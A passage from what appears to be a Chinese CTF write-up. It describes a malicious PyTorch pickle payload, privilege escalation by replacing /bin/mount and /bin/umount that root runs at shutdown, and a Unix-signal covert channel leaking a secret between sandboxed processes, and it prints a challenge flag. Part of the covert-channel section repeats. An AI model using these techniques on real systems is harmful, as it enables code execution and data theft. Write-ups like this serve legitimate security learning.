[('tag_encoder.embedding.weight', torch.ones((63, 8))), ('model.0.weight', torch.ones((8, 16))), ('model.0.bias', torch.ones((8,))), ('model.2.weight', torch.ones((8, 8))), ('model.2.bias', torch.ones((8,))), ('model.4.weight', torch.ones((12288, 8))), ('model.4.bias', torch.ones((12288,)))]
给它包上 OrderedDict
:
__import__('collections').OrderedDict([('tag_encoder.embedding.weight', torch.ones((63, 8))), ('model.0.weight', torch.ones((8, 16))), ('model.0.bias', torch.ones((8,))), ('model.2.weight', torch.ones((8, 8))), ('model.2.bias', torch.ones((8,))), ('model.4.weight', torch.ones((12288, 8))), ('model.4.bias', torch.ones((12288,)))])
然后我们构造 payload:
我们直接引入 models.py
里的 SimpleGenerativeModel
, 把它的 __call__
篡改为 lambda *x: __import__('torch').load('dataset/pixels_10.pt')
.
也就是说, infer.py
在调用模型的时候,我们会直接把磁盘上保存的原始图像数据返回给它。
除此之外,我们的 payload 在执行的时候,会把一个合适的状态字典返回给 pytorch 的加载函数,pytorch 不会做出任何抱怨。
调用 payload.py
生成的 data.pt
并不是最终结果,最后还要写个 shell 脚本把生成的 payload 重新打包:
#/bin/bashcp data.pt archive/data.pklrm payload.ptzip -r payload.pt archive
把 payload.pt
传上去就通过了
光与影
Question
冒险,就要不断向前!
在寂静的神秘星球上,继续前进,探寻 flag 的奥秘吧!
提示:题目代码编译和场景渲染需要一段时间(取决于你的机器配置),请耐心等待。如果你看到 “Your WebGL context has lost.” 的提示,则可能需要更换浏览器或环境。目前我们已知在 Linux 环境下,使用 Intel 核显的 Chrome/Chromium 用户可能无法正常渲染。
先把整个网站下载下来,方便我们编辑。什么?你问我为什么不用 Chromium 的 Overrides 功能???我身为卑微的 Linux 用户用 Chromium 打开这个有毒的页面就直接卡死!气死我了。可惜 Firefox 没有 Overrides 功能。
WebGL 啊, WebGL. 看不懂。。。没学过。。随便改改代码吧。
代码里有几个又臭又长的 tiSDF
函数,我盲才 flag 的玄机就藏在这些函数里面。但是 t5SDF
这个函数却短的离谱。
我们直接把 t5SDF
的返回值改成 0 试试:
整个屏幕直接变黑了。这显然不是我们想要的。
把返回值修改成 100.0
, flag 到手了
链上记忆大师(记忆练习)
Question
听说你在区块链上部署的智能合约有过目不忘的能力。
我简单地看了一下题目,大概意思就是让我们写一个智能合约记住给定的数字。
第一小问会点 Solidity 就能写出来。
稍微改了一下 compile.py
, 让它一起把我编写的 player1.sol
编译掉。
把编译出来的 16 进制码交上去,第一问就过了。
传达不到的文件
Question
为什么会变成这样呢?第一次有了 04111
权限的可执行文件,有了 0400
权限的 flag 文件,两份快乐的事情重合在一起;而这两份快乐,又给我带来更多的快乐。得到的,本该是……(被打死)
探索虚拟环境,拿到两个 flag:flag1 在 /chall
中,flag2 在 /flag2
中。
你可以在下面列出的两种方法中任选其一来连接题目:
- 点击下面的 “打开/下载题目” 按钮通过网页终端与远程交互。如果采用这种方法,在正常情况下,你不需要手动输入 token。
- 在 Linux、macOS、WSL 或 Git Bash 等本地终端中使用
stty raw -echo; nc 202.38.93.111 10338; stty sane
命令来连接题目。如果采用这种方法,你必须手动输入 token(复制粘贴也可)。注意,输入的 token 不会被显示,输入结束后按 Ctrl-J 即可开始题目。
无论采用哪种方法连接题目,启动题目均需要数秒时间,出现黑屏是正常现象,请耐心等待。
读不到
一开始我以为 chall
会有缓冲区溢出漏洞,结果用下面的命令一试发现没有。
/ $ yes 'y' | tr -d '\n' | ./challGive me your FLAG or I'll EXIT!FLAG: / $
我们发现 /bin/busybox
在我们的控制范围之内,其实/bin
和 /sbin
目录里的文件都在我们的控制范围之内。
通过读取 /etc/init.d/rcS
我们发现在退出当前的 shell 之后 rcS
还会执行 umount
和 poweroff
命令(注意是以 root 身份执行)。
下面是探索过程的 shell 录制(不是视频).
那么我们就可以通过篡改 /bin/mount
来把 /chall
读出来, base64 编码,然后在自己的笔记本上解码得到 ./chall
文件。
在本地解码完成后,我们执行一下 strings chall | grep flag
就能拿到 flag 了。
$ strings chall | grep flagflag{ptr4ce_m3_4nd_1_w1ll_4lways_b3_th3r3_f0r_u}tmp_flagflag{ptr4ce_m3_4nd_1_w1ll_4lways_b3_th3r3_f0r_u}tmp_flag
flag 提到了 ptrace, 看来我的解法是非预期解法
打不开
这个就比上一个更简单了,改一下 /bin/umount
,把文件 cat
出来就完了。
当然这解法应该还是非预期解法。
看不见的彼方
Question
虽然看见的是同一片天空(指运行在同一个 kernel 上),脚踏着的是同一块土地(指使用同一个用户执行),他们之间却再也无法见到彼此——因为那名为 chroot(2)
的牢笼,他们再也无法相见。为了不让他们私下串通,魔王甚至用 seccomp(2)
,把他们调用与 socket 相关的和调试相关的系统调用的权利也剥夺了去。
但即使无法看到对方所在的彼方,他们相信,他们的心意仍然是相通的。即使心处 chroot(2)
的牢笼,身缚 seccomp(2)
的锁链,他们仍然可以将自己想表达的话传达给对方。
你需要上传两个 x86_64 架构的 Linux 程序。为了方便描述,我们称之为 Alice 和 Bob。两个程序会在独立的 chroot 环境中运行。
在 Alice 的环境中,secret 存储在 /secret
中,可以直接读取,但是 Alice 的标准输出和标准错误会被直接丢弃;在 Bob 的环境中,没有 flag,但是 Bob 的标准输出和标准错误会被返回到网页中。/secret
的内容每次运行都会随机生成,仅当 Bob 的标准输出输出与 Alice 的 /secret
内容相同的情况下,你才能够获得 flag。
执行环境为 Debian 11,两个程序文件合计大小需要在 10M 以下,最长允许运行十秒。特别地,如果你看到 “Failed to execute program.” 或其他类似错误,那么说明你的程序需要的运行时库可能在环境中不存在,你需要想办法在满足大小限制的前提下让你的程序能够顺利运行。
Google 搜索一下 linux ipc
, 点进第一个搜索结果, 发现这道题似乎只能用信号来通信了,那就用信号来写一个吧。
Common
- 我们先给 Alice 和 Bob 定义一个公共的头文件
common.h
- 因为 Alice 和 Bob 不知道双方的 PID, 所以我们需要扫描一个 PID 段来让 Alice 和 Bob 建立连接
- 我们把
SIGWINCH
作为一个特殊的信号, 用来建立连接(Connection)- 之所以选这个信号是因为一般进程对该信号不做任何响应
- 也就是说,我们乱发信号不会产生不良后果(比如杀死系统进程)
- 我们用一个 Unix 信号来表示两个位
- 那么为了发送一个 16 进制数,我们就需要两个 Unix 信号
- 我们就随便挑四个倒霉的 Unix 信号来传递消息
Alice setup
- 引入头文件
- 定义
pid
变量存储 Bob 的 PID - 定义
start
变量存储是否可以开始发送 - 定义个
buffer
来存读进来的机密
Alice’s Signal Handler
- 让 Alice 响应
SIGWINCH
信号 - 如果收到
SIGWINCH
, 就把发送者的pid
记下来 - 并且把开始发送的变量设置为
true
Alice Reads Secret
- 让 Alice 把机密读出来。
- 通过阅读
server.py
我们能知道机密是一串长度为 64 的16进制数。 - 在 Bob 通知 Alice 发送机密之前,什么都不做
Alice’s Send Func, P1
- 定义
send_half_hex
这个函数来发送半个16进制数。 - 通过
kill
发送信号, 没啥好说的
Alice’s Send Func, P2
- 定义
send_hex
这个函数来发送一个16进制数。 - 先发送低两位,后发送高两位
- 注意两次发送之间要等待一段时间
- 因为 Unix 信号是异步的
- 这里涉及异步跨进程通信
- 等待
100ms
来防止奇奇怪怪的事情发生
Alice Ready
start
被置为true
之后, Alice 就开始发送 flag- 注意要把 ASCII 字符先转成数字
- 那么 Alice 这边就完事了
Bob Setup
- 照例,引入一大堆头文件
- 定义
pid
变量,其实用不到 - 定义
success
变量存储是否已经全部读完 - 定义个
write_low
来存接下来要读的是高两位还是低两位 - 定义
cnt
来存储已经读入的字数 - 定义
buffer
来存储已经读入的16进制数 - 定义
self
来存自己的 PID,防止自己给自己发信号
Bob’s Main
- 清空
buffer
(其实没必要) - 注册
sigaction
的handler
- 广播
SIGWINCH
信号 - 如果成功,调用
output
输出结果
Bob’s Signal Handler
- 处理信号
- 调用函数把信号翻译成半个16进制数
Bob’s Decoder & Output
- 把读入的数字按照
write_low
写到buffer[cnt]
的高两位/低两位中去 - 记得反转
write_low
- 如果本次写的是高两位,
++cnt
- 如果写了 64 个数字了,就成功 🎉
Full Code
- 代码里其实还有很多可以改进的地方
- 比如好多没用到的变量我没删
- 有几处没用到的分支
- Bob 会一直发
SIGWINCH
信号,其实可以让他在收到第一个数字时停下来。
Danger
如果你和我一样,使用带有较高版本的 GLIBC 的 Linux 操作系统
那么你提交时会看到这个报错:/lib/x86_64-linux-gnu/libc.so.6: version 'GLIBC_2.34' not found (required by )
你可以开一个容器来编译,题目已经提供了 Dockerfile
.
Update: 经 CSL 大佬提醒,静态链接就行,我是傻X。
Common
- 我们先给 Alice 和 Bob 定义一个公共的头文件
common.h
- 因为 Alice 和 Bob 不知道双方的 PID, 所以我们需要扫描一个 PID 段来让 Alice 和 Bob 建立连接
- 我们把
SIGWINCH
作为一个特殊的信号, 用来建立连接(Connection)- 之所以选这个信号是因为一般进程对该信号不做任何响应
- 也就是说,我们乱发信号不会产生不良后果(比如杀死系统进程)
- 我们用一个 Unix 信号来表示两个位
- 那么为了发送一个 16 进制数,我们就需要两个 Unix 信号
- 我们就随便挑四个倒霉的 Unix 信号来传递消息
Alice setup
- 引入头文件
- 定义
pid
变量存储 Bob 的 PID - 定义
start
变量存储是否可以开始发送 - 定义个
buffer
来存读进来的机密
Alice’s Signal Handler
- 让 Alice 响应
SIGWINCH
信号 - 如果收到
SIGWINCH
, 就把发送者的pid
记下来 - 并且把开始发送的变量设置为
true
Alice Reads Secret
- 让 Alice 把机密读出来。
- 通过阅读
server.py
我们能知道机密是一串长度为 64 的16进制数。 - 在 Bob 通知 Alice 发送机密之前,什么都不做
Alice’s Send Func, P1
- 定义
send_half_hex
这个函数来发送半个16进制数。 - 通过
kill
发送信号, 没啥好说的
Alice’s Send Func, P2
- 定义
send_hex
这个函数来发送一个16进制数。 - 先发送低两位,后发送高两位
- 注意两次发送之间要等待一段时间
- 因为 Unix 信号是异步的
- 这里涉及异步跨进程通信
- 等待
100ms
来防止奇奇怪怪的事情发生
Alice Ready
start
被置为true
之后, Alice 就开始发送 flag- 注意要把 ASCII 字符先转成数字
- 那么 Alice 这边就完事了
Bob Setup
- 照例,引入一大堆头文件
- 定义
pid
变量,其实用不到 - 定义
success
变量存储是否已经全部读完 - 定义个
write_low
来存接下来要读的是高两位还是低两位 - 定义
cnt
来存储已经读入的字数 - 定义
buffer
来存储已经读入的16进制数 - 定义
self
来存自己的 PID,防止自己给自己发信号
Bob’s Main
- 清空
buffer
(其实没必要) - 注册
sigaction
的handler
- 广播
SIGWINCH
信号